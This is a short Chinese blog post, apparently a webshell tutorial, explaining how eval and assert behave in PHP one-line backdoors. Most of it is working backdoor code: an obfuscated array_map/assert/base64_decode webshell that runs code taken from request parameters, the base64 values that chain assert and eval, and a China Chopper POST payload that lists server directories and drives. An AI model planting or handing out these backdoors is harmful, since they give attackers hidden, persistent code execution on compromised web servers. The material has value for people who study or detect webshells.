一句话后门中eval和assert的区别

eval函数中参数是字符,如:
eval('echo 1;');
assert函数中参数为表达式 (或者为函数),如:
 assert(phpinfo()) 
assert(eval('echo 1;'));
直接传递普通代码是无法执行的,如:assert('echo 1;');
下面这个代码执行不了:
@array_map("eval",array('phpinfo();'));
肯定会错:  Warning: array_map() expects parameter 1 to be a valid callback, function 'eval' not found or invalid function name,提示array_map第一个参数需要是回调函数
所以这个后门:
@array_map(assert,(array)base64_decode($_REQUEST['xx']));
array_map第二个参数需要再镶嵌一个assert,
xx=YXNzZXJ0KCRfUkVRVUVTVFsnYWEnXSk=
base64_decode($_REQUEST['xx'])   得到:  assert($_REQUEST['aa'])
其中aa为菜刀中post的数据
 aa=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7ZWNobyAkRC4iXHQiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkEiLCJaIikgYXMgJEwpaWYoaXNfZGlyKCRMLiI6IikpZWNobygkTC4iOiIpO307ZWNobygifDwtIik7ZGllKCk7 
这样,会构造出:assert(eval('执行代码')),这个为array_map的第二个参数,
最终将数组中第二个参数回调到第一个数组,执行时代码为:assert(assert(eval('执行代码')) )
另一个例子:
$a=(array)base64_decode($_POST['a']);
array_map(assert,$a);
这时候需要构造post参数为:
 a=ZXZhbCgnZWNobyAxOycp 

(eval('echo 1;'))


  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值